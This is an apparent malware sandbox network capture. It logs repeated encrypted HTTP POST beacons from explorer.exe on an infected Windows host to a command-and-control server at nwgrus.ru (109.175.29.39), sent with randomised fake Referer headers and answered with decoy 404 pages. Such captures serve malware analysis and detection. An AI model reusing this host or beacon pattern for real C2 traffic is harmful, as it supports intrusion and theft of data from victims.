Oct 8, 2024 00:19:57.944255114 CEST	111	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 66 33 a8 a3 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuf3EEPSR]
Oct 8, 2024 00:19:58.701877117 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:19:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:19:58.710067034 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sexbgcirilxygdjd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 362 Host: nwgrus.ru
Oct 8, 2024 00:19:58.710134983 CEST	362	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 53 38 ae 84 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuS8VJMLq$Y ~/<j."<cD$[\|@cMWc^I\LL7`hU<,=chqkc9k(
Oct 8, 2024 00:19:59.466635942 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:19:59 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:19:59.474740028 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iahhcvfewaqau.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 159 Host: nwgrus.ru
Oct 8, 2024 00:19:59.474785089 CEST	159	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 4c 1d ab b9 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuLliJ]rV^usj}@BJ,%BM:"}nE
Oct 8, 2024 00:20:00.843122959 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:00 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:00.851763964 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eqcqgpejtwdt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: nwgrus.ru
Oct 8, 2024 00:20:00.851783991 CEST	197	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 2b 3f a8 83 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu+?0]~v=4=p*6M>f;Q8'IS6\do!JcbCFd!0n"l
Oct 8, 2024 00:20:01.602030993 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:01 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:01.611601114 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wecknsvepmdnww.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 118 Host: nwgrus.ru
Oct 8, 2024 00:20:01.611614943 CEST	118	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 4a 21 ef 81 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuJ!!e\|v>EaRFaEaS[
Oct 8, 2024 00:20:02.372348070 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:02 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:02.449340105 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bhtdcxedsrrbqyo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: nwgrus.ru
Oct 8, 2024 00:20:02.449341059 CEST	125	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 60 58 b4 84 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu`Xt7SXhWP*:&`3
Oct 8, 2024 00:20:03.356353045 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:03 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:03.457595110 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fdkltibbufmpdfhy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 188 Host: nwgrus.ru
Oct 8, 2024 00:20:03.458580971 CEST	188	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 58 53 a8 e2 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuXSWhLyr(s\|I)V<cOR(7AC6MM$ymjBf
Oct 8, 2024 00:20:04.230143070 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:04 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:04.240966082 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xbdoluaokmu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: nwgrus.ru
Oct 8, 2024 00:20:04.241074085 CEST	251	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 35 22 f9 f1 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu5"xPKDJw(w[;0gKCA&-OM3d{RBwRB.AB8-UNYIO'jt}7U"n*^,4
Oct 8, 2024 00:20:05.016217947 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:04 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:05.028496027 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ayakqtnprwclxx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 263 Host: nwgrus.ru
Oct 8, 2024 00:20:05.028522015 CEST	263	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 63 5a a6 99 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vucZwqC!o0}D/+]DW{0$'E$UdTD]tW!{G3kmogj*4a\76J4
Oct 8, 2024 00:20:05.781755924 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:05.793008089 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iplbmyqhcsowave.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 241 Host: nwgrus.ru
Oct 8, 2024 00:20:05.793045044 CEST	241	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 26 35 f1 92 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu&57mZcIo({'A`q}h3!Tz#T$x`3qd93^,AB~ZN*N]Prucp3z
Oct 8, 2024 00:20:06.618855953 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:06 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:06.632400036 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rdhamasxmtwwkau.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: nwgrus.ru
Oct 8, 2024 00:20:06.632436991 CEST	306	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 4a 45 e3 a8 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuJE[]pj\|56:ibx3c_GVTFU*ofVbs9$RY?0fjz7&)b~GaxSMj@p.5
Oct 8, 2024 00:20:07.424420118 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:07 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:07.434107065 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://floxumtvcvrlyy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 256 Host: nwgrus.ru
Oct 8, 2024 00:20:07.434158087 CEST	256	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 2d 5d bc 97 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu-]nRwZU5JK+Cac1-t]WBlONfa8$4R'R/p&&(Bgdd?uB.L$v
